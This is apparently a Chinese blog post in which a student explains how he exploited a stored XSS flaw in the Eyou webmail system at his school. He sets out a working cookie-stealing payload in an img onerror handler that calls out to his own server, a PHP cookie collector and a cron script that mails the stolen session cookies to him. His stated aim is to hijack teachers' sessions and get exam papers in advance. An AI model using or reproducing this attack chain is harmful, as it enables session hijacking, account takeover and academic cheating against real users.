上次破解周鸿祎手机号的那个南京学生后来又发了篇文章,关于XSS漏洞的。也是我今天的主题。当时看到他的文章,也没怎么去深究,后来在乌云上看到有人发了具体的漏洞信息。真不巧,这次编译原理考试估计要跪。于是便有了这篇文章。分享给大家。
首先,出现漏洞的邮件系统是亿邮邮件系统。正好我们学校用的也是这个。测试了一下。还真是存在。
由于邮件正文可以用源码模式去写,而且什么标签都没过滤。完全可以直接执行js代码。那我们就直接在邮件正文写上js代码了。我的代码如下,就是在img标签里插入js脚本。 - <img src=xx.jpg onerror='var cv=escape(document.cookie);function f(){ifm=document.createElement("IFRAME");document.body.appendChild(ifm);ifm.width=0;ifm.height=0;ifm.src="http://IP隐藏/getcookie.php?c="+cv;}setTimeout(f,1000);'></img>
复制代码
这里我的服务器IP地址我隐藏了。免得有人搞破坏。
你邮件发到教务处之后,只要有人打开,就会自动发送他的cookie到我的邮箱,不过这个cookie是session cookie。临时的,所以动作要快,老师关了浏览器这个cookie就失效了。具体怎么实现还要看PHP文件。
为什么要用PHP,因为我服务器是linux,装了apache。也安装了php模块。getcookie.php内容如下: - <?php
- $cookie = $_GET['c'];
- $fp = fopen("/var/www/html/cook.txt", "w+");
- fwrite($fp, 'cookies:'.$cookie);
- fclose($fp);
- ?>
复制代码
非常简单,就是保存接受的到cookie到cook.txt文件中。其实这里有个小技巧。就是不用保存到文件,也不需要真是存在这个php文件,只需要JS就行了,到时候看apache的日志 grep一下getcookie 关键字,肯定能够找到cookie.
我是为了发送邮件,才保存到文件的。因为我写了个脚本,每分钟检查一下cook.txt文件在不在。在就把其中的内容发给我。至于每分钟自动检查是用crontab(注意是linux下)实现的,不懂的自己百度。
脚本内容如下: - #!/bin/sh
- if [ -f /var/www/html/cook.txt ];
- cat /var/www/html/cook.txt | mail -s "cookie" "[email protected]"
- rm -f /var/www/html/cook.txt(这句我忘记写了,导致我邮箱快爆了)
- fi
复制代码
邮箱里的截图如下
至于试卷的截图,我等我考试完了再补上吧。​
|